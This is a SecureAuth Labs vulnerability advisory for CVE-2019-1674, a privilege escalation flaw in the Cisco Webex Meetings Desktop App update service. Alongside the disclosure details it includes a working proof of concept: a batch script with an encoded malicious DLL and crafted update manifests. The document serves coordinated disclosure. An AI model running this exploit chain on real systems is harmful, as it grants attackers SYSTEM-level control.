SecureAuth - SecureAuth Labs Advisory
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Cisco WebEx Meetings Elevation of Privilege Vulnerability Version 2

1. *Advisory Information*

Title: Cisco WebEx Meetings Elevation of Privilege Vulnerability Version 2
Advisory ID: CORE-2018-0012
Advisory URL:
http://www.secureauth.com/labs/advisories/cisco-webex-meetings-elevation-privilege-vulnerability-version-2
Date published: 2019-02-27
Date of last update: 2019-02-27
Vendors contacted: Cisco
Release mode: Coordinated release

2. *Vulnerability Information*

Class: OS command injection [CWE-78]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2019-1674

3. *Vulnerability Description*

Cisco's Webex Meetings website states that [1]:

Cisco Webex Meetings: Simply the Best Video Conferencing and Online
Meetings.
With Cisco Webex Meetings, joining is a breeze, audio and video are
clear, and screen sharing is
easier than ever. We help you forget about the technology, to focus on
what matters.

A vulnerability in the update service of Cisco Webex Meetings Desktop
App for Windows could allow
a local attacker to elevate privileges.

4. *Vulnerable Packages*

. Cisco Webex Meetings Desktop App v33.6.4.15
. Cisco Webex Meetings Desktop App v33.6.5.2
. Cisco Webex Meetings Desktop App v33.7.0.694
. Cisco Webex Meetings Desktop App v33.7.1.15
. Cisco Webex Meetings Desktop App v33.7.2.24
. Cisco Webex Meetings Desktop App v33.7.3.7
. Cisco Webex Meetings Desktop App v33.8.0.779
. Cisco Webex Meetings Desktop App v33.8.1.13
. Cisco Webex Meetings Desktop App v33.8.2.7
. Older versions are probably affected too, but they were
  not checked.

5. *Vendor Information, Solutions and Workarounds*

Cisco informed that released the vulnerability is fixed in Cisco Webex
Meetings Desktop App releases 33.6.6 and 33.9.1.

In addition, Cisco published the following advisory:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-wmda-cmdinj

6. *Credits*

This vulnerability was discovered and researched by Marcos Accossatto
from SecureAuth. The publication of this advisory was coordinated by
Leandro Cuozzo from SecureAuth Advisories Team.
       
7. *Technical Description / Proof of Concept Code*

7.1. *Privilege Escalation*

[CVE-2019-1674]
The update service of Cisco Webex Meetings Desktop App for Windows does
not properly validate version numbers of new files. An unprivileged
local attacker could exploit this vulnerability by invoking the update
service command with a crafted argument and folder. This will allow the
attacker to run arbitrary commands with SYSTEM user privileges.
           
The vulnerability can be exploited by copying to a local attacker
controller folder, the atgpcdec.dll binary and rename it as atgpcdec.7z.
Then, a previous version of the ptUpdate.exe file must be compressed as
7z and copied to the controller folder. Also, a malicious dll must be
placed in the same folder, named vcruntime140.dll and compressed as
vcruntime140.7z. Finally, a ptUpdate.xml file must be provided in the
controller folder for the update binary (ptUpdate.exe) to treat our
files as a normal update. To gain privileges, the attacker must start
the service with the command line:
sc start webexservice WebexService 1 989898 "attacker-controlled-path"
           
Proof of Concept:

The following proof of concept performs a 2 step attack, since starting
from version 33.8.X, the application enforces the checking of signatures
for all the downloaded binaries. This 2 step attack works against all
the mentioned vulnerable packages. Notice that you'll need the previous
versions of the ptUpdate.exe executable. Those versions are:
3307.1.1811.1500 for the first step and 3306.4.1811.1600 for the last
step. To exploit version priot to 33.8.X, only one step is required
(the last step in this PoC).

Batch file:
/-----
@echo off
REM Contents of PoC.bat
REM
REM This batch file will exploit CVE-2019-1674
REM
REM First, it will copy the atgpcdec.dll file from the installation
REM folder to the current folder as atgpcdec.7z. Then, it will backup
REM ptUpdate.exe and vcruntime140.dll files from the installation folder
REM in the current folder, adding .bak to their names. Keep in mind that
REM those files will be replaced (especially, vcruntime140.dll) and if
REM not restored, will render the application useless.
REM
REM The executable ptUpdate.exe version 3307.1.1811.1500 must be
REM compressed as ptUpdate0.7z and present in the current folder.
REM The executable ptUpdate.exe version 3306.4.1811.1600 must be
REM compressed as ptUpdate1.7z and present in the current folder.
REM Both can be generated using 7zip GUI and compressing as 7z, with
REM normal compression level and LZMA compression method.
REM Another way is to compress both files using the command line app:
REM
REM 7z.exe a ptUpdate0.7z ptUpdate.exe -m0=BCJ -m1=LZMA:d=21
REM
REM ptUpdate0.xml file will be used in the first stage of the attack. It
REM will be renamed to ptUpdate.xml. Make sure to check and adjust (if
REM necessary) the "Size" and "PackagedSize" values of the xml, to the
REM ptUpdate0.7z ones. ptUpdate0.7z will be renamed to ptUpdate.7z. Then
REM the update service will be started.
REM
REM The batch will wait until the process (ptUpdate.exe) finishes
REM
REM After the first stage is completeted, it will rename ptUpdate.7z
REM back to ptUpdate0.7z, and ptUpdate.xml to ptUpdate0.xml.
REM
REM Now, ptUpdate1.xml file will be used in the second stage of the
REM attack. It will be renamed to ptUpdate.xml. Also, ptUpdate1.7z will
REM be renamed to ptUpdate.7z. Remember to check and adjust (if
REM necessary) the "Size" and "PackagedSize" values of the xml, to the
REM ptUpdate1.7z ones. Out "malicious" DLL will be generated using
REM certutil.exe and named vcruntime140.7z. It's a simple dll that will
REM execute notepad.exe on load and that has the same exported functions
REM as the original. The update service will be started again.
REM
REM The batch will wait until the process (ptUpdate.exe) finishes
REM
REM Once finished, it will print that the attack is done and wait for a
REM key press. You should see a notepad.exe (2, in fact) with SYSTEM
REM user privileges running.
REM
REM After a key is pressed, the batch will finish removing atgpcdec.7z
REM and vcruntime140.7z. Also it will rename ptUpdate.7z back to
REM ptUpdate1.7z, and ptUpdate.xml to ptUpdate1.xml.


:CheckOS
IF EXIST "%PROGRAMFILES(X86)%" (GOTO 64BIT) ELSE (GOTO 32BIT)

:64BIT
copy "%PROGRAMFILES(X86)%\Webex\Webex\Applications\atgpcdec.dll" atgpcdec.7z
copy "%PROGRAMFILES(X86)%\Webex\Webex\Applications\ptUpdate.exe"
ptUpdate.exe.bak
copy "%PROGRAMFILES(X86)%\Webex\Webex\Applications\vcruntime140.dll"
vcruntime140.dll.bak
GOTO END

:32BIT
copy "%PROGRAMFILES%\Webex\Webex\Applications\atgpcdec.dll" atgpcdec.7z
copy "%PROGRAMFILES%\Webex\Webex\Applications\ptUpdate.exe" ptUpdate.exe.bak
copy "%PROGRAMFILES%\Webex\Webex\Applications\vcruntime140.dll"
vcruntime140.dll.bak
GOTO END

:END

ren ptUpdate0.xml ptUpdate.xml
ren ptUpdate0.7z ptUpdate.7z
SET mypath=%~dp0
sc start webexservice WebexService 1 989898 %mypath:~0,-1%

ECHO Waiting 3 seconds until ptUpdate.exe starts
Timeout /T 3 /Nobreak

:LOOP1
tasklist | find /i "ptUpdate" >nul 2>&1
IF ERRORLEVEL 1 (
  GOTO CONTINUE1
) ELSE (
  ECHO ptUpdate.exe is still running
  Timeout /T 1 /Nobreak
  GOTO LOOP1
)

:CONTINUE1

ren ptUpdate.xml ptUpdate0.xml
ren ptUpdate.7z ptUpdate0.7z
ren ptUpdate1.xml ptUpdate.xml
ren ptUpdate1.7z ptUpdate.7z

echo
N3q8ryccAARIz/fVRwYAAAAAAAB6AAAAAAAAANcfWYEAJpaOcAAX9+wFu+r0/5QBL0TuTr0Jkm3dgTnz3Weoe6NfFfEa/Y28zsBB2HEdPWzlugty+IIM4hglhy/h80OeyYw5CMe7jUK77wLPQMC9wwpT+oLYVDSuOK/v2WNuOLCpU3qtGSO+2sIFpGixpKQvLykpGOZUMczuRNNr/8Ps1lApsqe0ERm7gPGyiMqJBOCOVTC85lKIa2Cmc
> dll.txt
echo
scrjgqKPPNmbXvscJWxmvv4NtC3mLQ1KuXYBSZXmFp8dR+ZDy5znkGG/C3w0T76c4wRCfOk+/myji9luDzO2OOwp8wgpN1QeGsA4+kaZwKYTisIvPegsI2joDsLAomIh2ToXENtcOA9/11kkJy4ColEdqlXxwSW2u45ajuNDs0aAE9nbz4AWXtv/VPfc4fn3Q+mN7FTmaDUr8dxZ5V05IafOO2qTgdSHPemTasMSqYLbzA8iaxBZimokw
>> dll.txt
echo
zyzr3fwZIci+Ewzq5BnNXk+lvA30xCUYdvQuMCGkxBozk9Ec0kQ/SUixz77Nc9SbJnm0Hncff3QRRlU9ciqc6cYkQ2Cm+/dWkyDgJU+sxT9VGV+WVwNK85Q6zpPWLeVRYtk9UkxKHF0aXf3l/OgfQqtz0WSR94AF+Z9AiblDy0zOreSW8PhFbu0hfAgY1pMNC5gPNJiJ3OGwT/cLEhBPusvpfcLP3V0BwXx04T+5R7d5Rw9xWExdfCzGb
>> dll.txt
echo
Mgyijdf5nP7fv9e5V0KO8kKrGVofstVIN8FTQSMeRGYRdv9WyuLRFWbArCL86HMo5NYEwFinlqCGqnY8hZcDMPe89q1xoNlVDmDtLC+AZqEkPKuqStllzKH7qQDg7Ahe6AMtGjaT2NptL2bSBYlkfn+1iiMt5cC/inZAoZoreSpDbGb4HRcOVce7ZKeiBAFpEzM0bEXAxnbLNO0pHm0bYCftbOkffJap3m79V+Dj4t0NPgwbhYKUqk1Hi
>> dll.txt
echo
/9ebVE+IIsUlFFggilCy7BmIh3MF3Gmuhr7QLK37zV72LA0/tuDXXTWP/0EJEQ3F/v1+hSj/+HMwUBFL8xsghBfOXTpmBG6cUxK2YOwXvs/ntja2a7SWwppxtWgr4n/pxEdeezoBGl1sTZ9aIwSlu1mMehS5RYoyiSKnQfgLMsIYLqjZtc2DjUdSZDutZgC91axMjIEQ8kDIBp8dbuX4MpzNYe65OrKG/u76aemvcQ/R1QAwgTopuWgqO
>> dll.txt
echo
tJ7LIkRv406u+Qs2d5KA9+IplFV7ZL9w1zXTDTFqATROK0IKtY2MPaP5Ia0d0UFizj0I7OZSeDtZXPohMxi01xMLyqCXIQ4vaJGVneNi1SyxAJ2hV92+5sxBCOlQ+d4w19k6iJA/siz1+V0FnIrN6csCMaW6yBnR6H+jHpm2sqXf3xyU8UkCRx09LmD1lcSB3sWdc3AnoG2ijb7lD6eBdCH2OlMWceeAfOMRm48MfYW6+AcZJm9wEQ9p8
>> dll.txt
echo
irxwCQuETvGMphqzbPxFJXErhoMTxlE57+/ZLBt8F/3XAaxQnmMucvSCFMYc6Z76OCbeotPfVnPhqL+torsEaph6DFzcw3dWuFrekbLnVVFKmM/QyeZVLS18u5lY1tGRyfAUCyhPIPJvUcXFKuDYHmdT/bOnF1B/xexvtY8boRhcKiNg4JBluTMbamdoktvfWvIVGUz2m50yA0dNN06yebHietxA+IwM0zfNbqpNWJjOItsi6/27j1mE7
>> dll.txt
echo
WCgPS5tetN44WkYD28Bm+LmHwz4lbPVjAIcgZBv0OtAXJsWMUtN8Bc2z9+fVSqc7pCHGCRnYDyKm8QhcV8hU4I/M4hSN+BWYn2jGJqc42lcaMzfXrySCnF4dAtIiE1HzAwmwWAqjlVkZdFiIuQ1m+pdbx2Ipji5piYRAJtykwO0H5JThzAzJGObOMCAenaKgvgtwF97iFdBZHxuSz+3DcYF6gQupm/BxNd35l6qj19sN2qixeGJ7rQapV
>> dll.txt
echo
DJLTM5KMPdSItBNJSLLp9fuObcufi/6MBif28vemivzaWtalocJxX/MJni8PfdLYn/rLJQXmpq4Qm7z6N7FlPLtelATkMAZZ2ofaLFeBvIKzymBqtsxQAb63b+MowQvOkGAesT5JNXhoRqzOoATB9I/O7xIZu30SZwWdW85DX2MNAeB/DgzLt/c7U9A2D5vIgAEEBgABCYZHAAcLAQACIwMBAQVdABgAAAQDAwEDAQAMmACYAAAICgGcR
>> dll.txt
echo
dWGAAAFARkLAAAAAAAAAAAAAAARIwB2AGMAcgB1AG4AdABpAG0AZQAxADQAMAAuAGQAbABsAAAAGQAUCgEAkBJyInaL1AEVBgEAIAAAAAAA
>> dll.txt

certutil -decode dll.txt vcruntime140.7z

del dll.txt

SET mypath=%~dp0
sc start webexservice WebexService 1 989898 %mypath:~0,-1%

ECHO Waiting 3 seconds until ptUpdate.exe starts
Timeout /T 3 /Nobreak

:LOOP2
tasklist | find /i "ptUpdate" >nul 2>&1
IF ERRORLEVEL 1 (
  GOTO CONTINUE2
) ELSE (
  ECHO ptUpdate.exe is still running
  Timeout /T 1 /Nobreak
  GOTO LOOP2
)

:CONTINUE2

ECHO Attack done!
pause

ren ptUpdate.xml ptUpdate1.xml
ren ptUpdate.7z ptUpdate1.7z
del atgpcdec.7z
del vcruntime140.7z
-----/

ptUpdate0.xml file:
           
/-----
<?xml version="1.0"?>
<serv:message xmlns:serv="http://www.webex.com/schemas/2002/06/service"
xmlns:com="http://www.webex.com/schemas/2002/06/common"
xmlns:use="http://www.webex.com/schemas/2002/06/service/user">
    <serv:header></serv:header>
    <serv:body>
        <serv:bodyContent xsi:type="use:getUpdateResponse"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
            <UpdateVersionNumber>33.8.3</UpdateVersionNumber>
            <BuildNumber>33.8.3-24</BuildNumber>
            <ExternalVersionNumber>33.8.3.24</ExternalVersionNumber>
            <GPCINI>self/gpc.php</GPCINI>
            <ReleaseDate>February 2017</ReleaseDate>
            <Description>WebEx Productivity Tools 33.8.3</Description>
            <MsiLocation>msi/ptools.msi</MsiLocation>
            <UpdateFormat>binary</UpdateFormat>
            <ReleaseTrain>T32</ReleaseTrain>
            <Location>$dummy/upgradeserver/client/ptool/33.8.3</Location>
            <ControlOption>0</ControlOption>
            <WBSVERSION>33</WBSVERSION>
            <Server>myCompany.webex.com</Server>
            <UserName>MCKSysAR@myCompany.com</UserName>
            <DownloadSize>22496333</DownloadSize>
            <VersionURL/>
            <FileInfo>
                <SectionName>Installation</SectionName>
                <PackedName>ptupdate.7z</PackedName>
                <PackedNameL10N>ptupdate.7z</PackedNameL10N>
                <OrigianlName>ptupdate.exe</OrigianlName>
                <Version>3307,1,1811,1500</Version>
                <Size>1985592</Size>
                <PackagedSize>610752</PackagedSize>
                <CheckMethod>1</CheckMethod>
                <CouldIgnore>1</CouldIgnore>
                <NeedDownLoad>1</NeedDownLoad>
            </FileInfo>
            <Tools>
                <UseEmailType/>
                <Outlook>0</Outlook>
                <Notes>0</Notes>
                <UseWebExWithOffice>1</UseWebExWithOffice>
                <Excel>0</Excel>
                <PowerPoint>0</PowerPoint>
                <Word>0</Word>
                <IEShortCut>1</IEShortCut>
                <IERightMenu>0</IERightMenu>
                <UseWebExWithIM>1</UseWebExWithIM>
                <AOL>0</AOL>
                <Sametime>0</Sametime>
                <WindowsMessenger>0</WindowsMessenger>
                <Yahoo>0</Yahoo>
                <Skype>0</Skype>
                <GoogleTalk>0</GoogleTalk>
                <Firefox/>
                <IPPhone>1</IPPhone>
            </Tools>
        </serv:bodyContent>
    </serv:body>
</serv:message>
-----/

ptUpdate1.xml file:

/-----
<?xml version="1.0"?>
<serv:message xmlns:serv="http://www.webex.com/schemas/2002/06/service"
xmlns:com="http://www.webex.com/schemas/2002/06/common"
xmlns:use="http://www.webex.com/schemas/2002/06/service/user">
    <serv:header>                                                       
    </serv:header>
    <serv:body>
        <serv:bodyContent xsi:type="use:getUpdateResponse"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
            <UpdateVersionNumber>33.8.4</UpdateVersionNumber>
            <BuildNumber>33.8.4-24</BuildNumber>
            <ExternalVersionNumber>33.8.4.24</ExternalVersionNumber>
            <GPCINI>self/gpc.php</GPCINI>
            <ReleaseDate>February 2017</ReleaseDate>
            <Description>WebEx Productivity Tools 33.8.4</Description>
            <MsiLocation>msi/ptools.msi</MsiLocation>
            <UpdateFormat>binary</UpdateFormat>
            <ReleaseTrain>T32</ReleaseTrain>
            <Location>$dummy/upgradeserver/client/ptool/33.8.4</Location>
            <ControlOption>0</ControlOption>
            <WBSVERSION>33</WBSVERSION>
            <Server>myCompany.webex.com</Server>
            <UserName>MCKSysAR@myCompany.com</UserName>
            <DownloadSize>22496333</DownloadSize>
            <VersionURL/>
            <FileInfo>
                <SectionName>Common</SectionName>
                <PackedName>vcruntime140.7z</PackedName>
                <PackedNameL10N>vcruntime140.7z</PackedNameL10N>
                <OrigianlName>vcruntime140.dll</OrigianlName>
                <Version>14,14,26405,0</Version>
                <Size>6144</Size>
                <PackagedSize>1761</PackagedSize>
                <CheckMethod>1</CheckMethod>
                <CouldIgnore>1</CouldIgnore>
                <NeedDownLoad>1</NeedDownLoad>
            </FileInfo>
            <FileInfo>
                <SectionName>Installation</SectionName>
                <PackedName>ptupdate.7z</PackedName>
                <PackedNameL10N>ptupdate.7z</PackedNameL10N>
                <OrigianlName>ptupdate.exe</OrigianlName>
                <Version>3306,4,1811,1600</Version>
                <Size>1992760</Size>
                <PackagedSize>611786</PackagedSize>
                <CheckMethod>1</CheckMethod>
                <CouldIgnore>1</CouldIgnore>
                <NeedDownLoad>1</NeedDownLoad>
            </FileInfo>
            <Tools>
                <UseEmailType/>
                <Outlook>0</Outlook>
                <Notes>0</Notes>
                <UseWebExWithOffice>1</UseWebExWithOffice>
                <Excel>0</Excel>
                <PowerPoint>0</PowerPoint>
                <Word>0</Word>
                <IEShortCut>1</IEShortCut>
                <IERightMenu>0</IERightMenu>
                <UseWebExWithIM>1</UseWebExWithIM>
                <AOL>0</AOL>
                <Sametime>0</Sametime>
                <WindowsMessenger>0</WindowsMessenger>
                <Yahoo>0</Yahoo>
                <Skype>0</Skype>
                <GoogleTalk>0</GoogleTalk>
                <Firefox/>
                <IPPhone>1</IPPhone>
            </Tools>
        </serv:bodyContent>
    </serv:body>
</serv:message>
-----/

8. *Report Timeline*
2018-12-04: SecureAuth sent an initial notification to the Cisco PSIRT
including a draft advisory.
2018-12-05: Cisco confirmed the reception of the advisory and informed
they will open a case.
2018-12-07: Cisco replied that they were able to reproduce the
vulnerability and they were working on a plan for the fix.
2018-12-07: SecureAuth thanked the update.
2018-12-10: Cisco notified SecureAuth that the general availability of
the fix will be before end of February.
2018-12-10: SecureAuth thanked the update.
2019-01-15: SecureAuth asked Cisco for an update.
2019-01-22: SecureAuth asked Cisco for an update again.
2019-01-22: Cisco answered saying they were still targeting the end of
February for the release of the fix.
2019-02-11: Cisco confirmed 27th February as the disclosure date.
2019-02-27: Advisory CORE-2018-0012 published.

9. *References*

[1] https://www.webex.com/products/video-conferencing.html

10. *About SecureAuth Labs*

SecureAuth Labs, the research arm of SecureAuth Corporation, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct research in several important areas of
computer security, including identity-related attacks, system
vulnerabilities and cyber-attack planning. Research includes problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. We regularly publish security
advisories, primary research, technical publications, research blogs,
project information, and shared software tools for public use at
http://www.secureauth.com.

11. *About SecureAuth*

SecureAuth is leveraged by leading companies, their employees, their
customers and their partners to eliminate identity-related breaches. As
a leader in access management, SecureAuth is powering an identity
security revolution by enabling people and devices to intelligently
and adaptively access systems and data, while effectively keeping bad
actors from doing harm. By ensuring the continuous assessment of risk
and enablement of trust, SecureAuth's highly flexible platform makes it
easier for organizations to prevent the misuse of credentials. To learn
more, visit www.secureauth.com, call (949) 777-6959, or email us at
info@secureauth.com

12. *Disclaimer*

The contents of this advisory are copyright (c) 2019 SecureAuth, and are
licensed under a Creative Commons Attribution Non-Commercial Share-Alike
3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/